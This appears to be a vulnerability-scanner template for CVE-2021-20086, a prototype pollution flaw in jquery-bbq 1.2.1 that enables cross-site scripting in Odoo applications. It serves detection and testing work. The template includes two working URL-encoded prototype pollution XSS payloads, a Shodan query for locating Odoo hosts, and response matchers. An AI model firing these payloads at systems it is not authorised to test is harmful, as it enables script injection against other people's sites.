漏洞描述
jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.
id: CVE-2021-20086
info:
name: Odoo Apps - Cross-Site Scripting via Prototype Pollution
author: 1337rokudenashi
severity: high
description: |
jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.
impact: |
Attackers can modify Object.prototype, leading to potential security issues like property overwrites and application behavior manipulation.
remediation: |
Update to the latest version of jquery-bbq that addresses this vulnerability or apply patches to prevent prototype pollution.
reference:
- https://www.tenable.com/security/research/tra-2022-10
- https://nvd.nist.gov/vuln/detail/CVE-2021-20086
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-20086
cwe-id: CWE-1321
epss-score: 0.37071
epss-percentile: 0.96991
cpe: cpe:2.3:a:jquery-bbq_project:jquery-bbq:1.2.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: jquery-bbq_project
product: jquery-bbq
shodan-query: html:"Odoo"
tags: cve,cve2021,odoo,xss,proto,jquery,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?__proto__%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&__proto__%5Bjquery%5D=x"
- "{{BaseURL}}/?constructor%5Bprototype%5D%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&constructor%5Bprototype%5D%5Bjquery%5D=x"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- '!contains(body, "debug:")'
- 'contains_all(body, "alert(document.domain)","var odoo =")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502201a8b1dae2840224f8671c99dcd3f75b9abb65e78d46e246dae662797a965eaed022100a76b9889d25337cdc211e13c37794e5c1691df68e414497142f5eaabe130a45a:922c64590222798bb761d5b6d8e72950